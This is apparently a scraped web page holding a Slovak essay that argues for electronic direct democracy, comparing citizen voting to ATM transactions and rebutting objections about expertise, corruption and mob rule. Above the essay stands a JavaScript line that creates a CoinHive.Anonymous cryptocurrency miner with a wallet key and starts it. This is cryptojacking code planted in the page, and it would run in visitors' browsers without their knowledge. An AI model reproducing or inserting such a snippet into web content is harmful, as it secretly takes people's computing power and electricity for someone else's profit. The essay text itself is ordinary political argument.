

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

História ľudstva je históriou zápasu tých čo chcú byť slobodní proti tým čo chcú vládnuť. Byť slobodný znamená žiť podľa svojho rozhodovania. Vládnúť znamená prinútiť iných, aby žili podľa želania vládcov. Sloboda vláda sú prepojené politikou. Politika je celospoločenské rozhodovanie. Takéto celospoločenské rozhodovanie si vyžaduje systém ako to urobiť. Rozhodovacie systémy sú rôzne, od jedného nevoleného vládcu (lídra) k niekoľkým zvoleným vládnucim predstaviteľom. Vo všetkých politických systémoch menšina rozhoduje za ostatných. Dnes ako aj v minulosti je väčšina ľudí vylúčená z väčšiny rozhodovacieho procesu svojej spoločnosti. Ľudia vylúčení z rozhodovania o väčšine toho čo sa deje v ich spoločnosti nie sú slobodní. Musia dodržiavať pravidlá prijaté inými.

História politických systémov je históriou boja ovládaných s ich vládcami v podstate o právo rozhodovania. Tieto boje sú motivované túžbou ľudí žiť skôr podľa svojho rozhodovania než podľa rozhodnutia iných. Boje tých čo dodržujú príkazy proti tým čo ich vyrábajú boli úspešné v oblasti slobody rodiny, práce, vzdelávania a v štáte. Dnes je väčšina ľudí slobodnejšia než v minulosti, ale nie tak slobodná ako by mohla byť. Totiž vládnuť znamená rozhodovať za iných a nútiť ich dodržiavať tieto rozhodnutia.

Väčšina ľudí nechce vládnuť druhým, chcú byť slobodní. Úplná sloboda je možná iba vtedy ak žijeme dobrovoľne podľa svojej vlastnej voľby. Nik nemôže byť absolútne slobodný ak žije v skupine. Spoločenské skupiny od jednoduchej rodiny po celé ľudstvo, musia mať systém pre prijímanie rozhodnutí rešpektovaných všetkými členmi. Bez takéhoto systému, skupina nemôže existovať. Iba vzácně všetci súhlasia so skupinovým rozhodnutím. Niektorí musia rešpektovať rozhodnutia, ktoré im nie sú po chuti. Je to tak v rodine, pri vzdelávaní, v práci aj v spoločnosti. Väčšina ľudí prijíma vládnutie s nevôľou, ale vládcovia je vedia donútiť poslúchať. Keď disidenti porazia donucovací mechanizmus, musia si sami vytvoriť nový systém pre skupinové rozhodovanie, inak skupina zaniká. Úplná sloboda je nemožná v akejkoľvek skupine. Problém je aj v tom, že väčšina ľudí preferuje žiť v skupine než žiť sami pre seba. I keď absolútna sloboda v skupine je nemožná, je často možné zlepšiť úroveň slobody v skupine do vyššej úrovni. V parlamentnej demokracii majú ľudia viac slobody než v diktatúre. V priamej demokracii, majú ľudia viac slobody než v parlamentnej demokracii. Dnes si väčšina myslí že parlamentná demokracia poskytuje najvyššiu formu novej slobody v spoločnosti. Bolo to pravdou do obdobia zavedenia elektronického komunikovania. Od toho obdobia môže existovať štát, ktorý je oveľa slobodnejší než parlamentná demokracia.

Priama demokracia

Každý deň milióny ľudí rozhoduje denne za pomoci bankomatov. Tieto rozhodnutia sa týkajú ich financií. Väčšina ľudí sa netrápi počítačovými programami, ktoré tieto operácie umožňujú. Tieto programy upravujú ich účty a presúvajú kópie všetkých rozhodnutí do ústredného počítača, ktorý ich spoločne spravuje. Sumáre môžu kontinuálne vidieť bankovní úradníci. Takéto programy možno jednoducho upraviť na prijímanie nielen finančných rozhodnutí, ale aj na politické, umožňujúc každému občanovi použiť automat na priame hlasovanie o akejkoľvek politickej otázke. Na základe toho môžeme pokladať voľby predstaviteľov, parlament a vlády za nadbytočné. Všetci občania môžu použiť jestvujúce technické zariadenia na politické rozhodovania priamo bez sprostredkovania. Priamym rozhodovaním môžu občania rozhodovať o svojom živote. Toto im umožní byť viac slobodní ako v parlamentnej demokracii, kde za nich rozhodujú poslanci. Štát postavený na princípe KAŽDÝ OBČAN – JEDEN HLAS – KU KAŽDÉMU ROZHODNUTIU, je priamou demokraciou (PD). Elektronické prostriedky umožňujú priamu demokraciu. Priama vláda všetkých občanov je možná TERAZ. Všetci občania môžu priamo rozhodovať o politických otázkach a byť vládou. Takto vznikne vláda ovládaných. Právo bude vychádzať od záujmu spravovaných. Bankomaty nevykonávajú žiadne politické rozhodnutia, iba prijímajú, zaznamenávajú a vykonávajú rozhodnutia majiteľov magnetických karát. V súčasnosti sú milióny rozhodnutí (bankových operácií) uskutočňované sieťou bankomatov. Táto technika sa ukázala ako spoľahlivá pri správe našich vlastných financií. Môže byť uplatnená i pri politickom rozhodovaní. Dokáže zaznamenávať a sumarizovať rozhodnutia miliónov hlasov okamžite. Spočítanie miliónov hlasov v sekundách bolo v minulosti nemožné. Bolo potrebné mať reprezentantov kým nebolo možné spočítavať milióny hlasov v sekundách. Dnes keď je to možné nepotrebuje mať volených zástupcov. Nemusíme vkladať hlasovacie lístky do volebných uriel a niekoľko dní ich sčítavať. Môžeme vložiť magnetickú kartu priamo do automatu (resp. použiť internet, mobilný telefón) označiť našu voľbu a vidieť okamžite výsledok. Vtedy keď milióny volieb je možné zrealizovať a vidieť ich výsledok okamžite na obrazovke, volení zástupcovia nie sú potrební. Namiesto volenia poslancov, každý občan môže dať návrh, hlasovať bez sprostredkovania. Prečo máme byť sprostredkované zastúpení, keď môžeme priamo zastúpení? Voľa každého tak bude viditeľná okamžite. Zastaraný, komplikovaný, pomalý a drahý systém volieb do miestnych, regionálnych a národných volieb je zbytočný.

Prečo máme udržiavať drahý, neefektívny, odcudzený a skorumpovaný systém, keď je možný oveľa lacnejší, rýchlejší a čestnejší systém? Uvedme len poslednú volebnú blamáž pri voľbe prezidenta USA a pochybnosti o korektnosti zratúvania hlasov na Floride.

Dnes po prvý krát v histórii ľudstva, je možné aby milióny mohli priamo rozhodovať vo svojom

štáte bez sprostredkovania. V novom systéme budú občania o mnoho slobodnejší než v parlamentnej demokracii, kde sú občania slobodní iba v deň parlamentných volieb. Menšinový názor bude musieť dodržiavať názor väčšiny a preto menšina nebude slobodná. Avšak postavenie menšiny nie je trvalé. Nové hlasovanie k pôvodnému rozhodnutiu môže zmeniť menšinový názor na väčšinový. Toto je výhodou oproti parlamentnej demokracii, kde ani väčšina, ani menšina nie je slobodná, pretože ich zástupcovia za nich rozhodujú.

V 17. a 18. storočí úsilie proti vláde feudálnej autokracie bolo vedené pod heslom „Žiadne dane bez reprezentovania v parlamente“. Tento cieľ bol dosiahnutý. Zvýšila sa tak sloboda väčšiny obyvateľov v spoločnosti. V 21. storočí bude vedený spor so zastupiteľskou mocou v mene umožnenia zásady „Žiadne záväzné rozhodnutie bez uplatnenia práva priameho hlasovania“. „Priameho“ sa myslí znamená bez sprostredkovania. V politike to znamená bez volených zástupcov. Tento boj bude vyhraný tiež. Zvýši sa tým sloboda pre všetkých o veľa ďalej za jej súčasné hranice. Isto jestvuje silná opozícia avšak toto úsilie povedie k implementácii priamej demokracie. Už v Nemecku existuje na tom princípe strana priamej demokracie, ktorá sprostredkúva názory občanov pre súčasných poslancov Bundestagu. Takto by mohlo vzniknúť stále „virtuálne“ zhromaždenie občanov Slovenskej republiky. Uplatnenie priamej demokracie by mohlo byť univerzálnejšie využité aj v iných organizáciách ako sú napr. odbory, politické strany by sa premenili na diskusné a školiace organizácie ľudí s podobným názorom apod. Dopad aplikácie priamej demokracie by bol rozsiahly. Ľudia by sa plne zaujímali o dianie okolo seba.

V Porto Alegre v Brazílii a vo viac ako v 70 mestách tisíce občanov a mimovládne organizácie sú každoročne podieľa na rozhodovaní o použití a kontrole rozpočtu. Plán pre zdravú demokraciu v USA využíva teledemokraciu, kde občania (12 – 24 osôb sa priamo zúčastňuje rokovaní a 600 osôb dištančne napr. cez počítač, telefón, telekonferencie a pod) predstavujú verejnú vôľu. Rady múdrosti – vznikajú tak že sa vyberajú do nich losovaním občania, každé 3 - 12 mesiace na rešpektovanie toho čo si obyvateľstvo želá. Po vzájomnej dohode s municipalitou je potom oznámená dohoda o postupe. Voľba vládcov losom tak ako to bolo používané v starých Aténach nie je nepoužiteľná aj v 21. storočí.

Odpovede na možné námietky

Mnohí sa domnievajú že obyčajný človek nemôže vykonať zodpovedné rozhodnutia, pretože na to treba osobitnú kvalifikáciu. Ak je politické rozhodovanie špeciálnou kvalifikáciou, prečo sa nevyučuje na univerzitách? Rozhodovanie nie je remeslom. Je to výber. Rozhodnúť sa je výber z možností. Voľbám sa nemožno naučiť. Vybrať si znamená dávanie prednosti. Ľudia si vyberajú to čo považujú za najlepšie. Čo je najlepšie je určené hodnotami, nie kvalifikáciou.

Ani veľké množstvo skúseností, alebo informácií, nepresvedčí veriacu osobu hlasovať za zrušenie vzdelávania náboženstva.

Niektorí veria, že bežní ľudia nemôžu urobiť žiadne rozhodnutie z dôvodu, že majú nedostatok informácií o problematike. Panely expertov v televízii pravidelne môže diskutovať v televízii, odpovedať na telefonické otázky, na otázky publika a takto poskytovať potrebné informácie. Členovia panelov by mohli byť vyberaní losovaním zo zoznamu expertov špecializujúcich sa na určité otázky. Toto by znížilo ovplyvňovanie spôsobené osobnými hodnotami expertov.

Niektorí sa obávajú, že keď všetci občania budú mať právo navrhovať rozhodnutia, bude tu priveľa rozhodnutí. Opak dokazujú denne parlamenty. Počet rozhodnutí ku každej problematike je oveľa nižší než je počet členov parlamentu. Podstata problému, nie počet členov parlamentu determinuje počet návrhov. Navyše parlamenty vyžadujú trojkolové hlasovanie ku každej otázke. Rozhodnutia, ktoré nezískajú limitný počet hlasov nepokračujú. Toto pomáha znižovať počet rozhodovaní.

Existujú dva základné typy rozhodnutí, politické rozhodnutia a rozhodnutia o uplatňovaní politiky. Politické rozhodnutia odpovedajú na otázku: Čo robiť? Rozhodnutia o realizácii riešia otázku: Ako to urobiť? Politika je primárne o rozhodovaní. Je vyjadrením vôle spoločnosti. Každý občan má právo a schopnosť o tom čo má robiť spoločnosť. Politické rozhodovanie závisí na preferenciách. Preferencie sú odvodené od hodnôt, nie od expertíz. Nemáme žiadneho experta na preferencie. Obyčajní ľudia môžu preferovať rovnako ako ich volení či nevolení predstavitelia. V priamej demokracii všetci občania vykonávajú rozhodnutia na základe ich vlastných preferencií.

Rozhodnutia k implementácii si často vyžadujú technickú expertízu. Občania môžu v priamej demokracii rozhodnúť o poverení expertov vykonávať tieto rozhodnutia, za zachovania si práva zrušiť ich rozhodnutia alebo zrušiť ich poverenie. Experti by mohli byť vyberaní lósom zo zoznamu expertov. Opakované losovanie môže vymeniť tých čo sa ukázali byť neefektívnymi, alebo skorumpovanými. Výber lósom znižuje korupciu. Korupcia nie je časťou politiky, je časťou systému, kde úzka skupina vládne. Tí čo sa snažia získať náklonnosť vrchnosti sa utiekajú k úplatkom. Vládnuca vrstva to chápe ako súčasť ich moci. Keď všetci budú rozhodovať nebude uplácanych a ani tých čo dávajú úplatky. Navyše úplatky neovplyvnia výsledky losu. Takýmto spôsobom môže priama demokracia odstrániť korupciu z politiky.

Niektorí ľudia sa domnievajú že priama demokracia bude oveľa viac komplikovanejšia než

zastupiteľská forma demokracie. Toto nemusí byť pravdou. Väčšina komplikácii nemá nič s podstatou, sú iba odvodené od vládnucej moci, chcjúcej si udržať vládu. Politika bude o veľa zjednodušená a slobodnejšia. V diktatúre je rozhodovanie jednoduchšie ako v parlamentnej demokracii. Jediný vládca bez opozície vykonáva všetky rozhodnutia a napriek tomu dávajú ľudia prednosť parlamentnej demokracii i keď je komplikovanejšia. Väčšina občanov dáva prednosť slobode i keď jej systém je zložitejší ako je priamočiara diktatúra.

Niekoľko bude oponovať zo zásady. Je to tzv. absolútna elita. Desí ju priama vláda občanov. Elita odmieta priamu demokraciu ako populistickú a vládu davu. Je presvedčená, že vláda väčšiny prinesie nešťastie pre ňu samotnú a aj pre celok. Jedným z takýchto príkladov je hlasovanie väčšiny, ktoré priviedlo k moci nacistov v Nemecku v 1933 roku. Toto nie je argument proti priamej demokracii. Týka sa to ktoréhokoľvek systému. Osamelý vládca môže urobiť katastrofické rozhodnutia, tak ako aj zvolení reprezentanti. V skutku čím je menšia skupina vládnucej elity, tým je väčšie nebezpečenstvo rozmarov, egoistických úletov a extravagancií. Čím je väčší počet tých čo sa podieľajú na rozhodovaní, tým skôr sa neschvália politické omyly, je lepšia kontrola a skôr sa presadí záujem o všeobecné dobro. Navyše davová psychóza s tendenciou sa pripojiť k väčšine je v prípade elektronického hlasovania neutralizovaná. Žiadny politický systém nie je imúnny od zlých rozhodnutí. Priama demokracia umožňuje okamžitú nápravu, naopak zastupiteľská forma ponecháva pôvodcov pochybenia pri moci prinajmenšom do ďalších volieb. Navyše katastrofické dôsledky v prípade priamej demokracie vedú pôvodcov k prehodnoteniu postupu. V prípade zastupiteľskej formy i po výmene vládnucej skupiny, nemusí prísť k prehodnoteniu postupu a noví opakujú chyby starých.

Mnohí si myslia že egoizmus, hrabivosť a politická apatia premení priamu demokraciu na džungľu spravovanú bezuzdnými egoistickými inštinktami. Títo vidia negatívnu podstatu ľudstva ako jeho večnú podstatu. Avšak v období napr. generálneho štrajku vo Francúzsku v roku 1968 prepukla dobrá vôľa, solidarita a záujem o veci verejné, v miere čo prekvapila Francúzov samotných. Egoizmus, hrabivosť a apatia sú produktom súčasnej formy moci. Uzávery o individualizme ignorujú pôvod tohto javu spôsobenému vzťahom moci k jednotlivcovi. Keď sa toto zväží námietky voči priamej demokracii zanikajú. Priama demokracia tak dostáva inú prizmu ako tvorca novej individuality: starajúcej sa, kreatívnej a hlboko sa zaujímajúcej o spoločnosť.

Podiel na tvorbe rozhodnutí vplýva na zodpovednosť. Niektorí sa obávajú zodpovednosti. Toto je postoj detí, ktoré sa boja straty rodičovskej lásky. Dospelí, ktorí majú obavu zo zodpovednosti, potrebujú pomoc na jej prekonanie. Obava zo slobody a zodpovednosti svedčí o nezrelosti. Dá sa tomu pomôcť.

Niektorí podporovatelia priamej demokracie nemajú jasnú predstavu o tom čo to je. Podporujú rôzne referendá a občianske iniciatívy pre lepšiu kontrolu zvolených reprezentantov, pri akceptovaní zastupiteľskej formy demokracie. Nedostatok jasne definovanej alternatívy zastupiteľskej demokracie ich obmedzuje iba na jej reformy. Nimi navrhované reformy iba vyhladzujú problémy tejto demokracie. Je možná spolupráca s každým, kto má za cieľ zlepšiť spoločenský systém akou je napr. zastupiteľská forma demokracia. Majme však na pamäti, že cirkev vznikla ako nástroj na šírenie kresťanstva, komunistická strana ako prostriedok slúžiaci komunizmu. Pri oboch sme historicky boli svedkami ich zámeny z nástroja na cieľ. Tendencia zamieňať nástroj za cieľ musí byť bez odmietnutá. Prostriedky sa nikdy nesmú stať cieľom.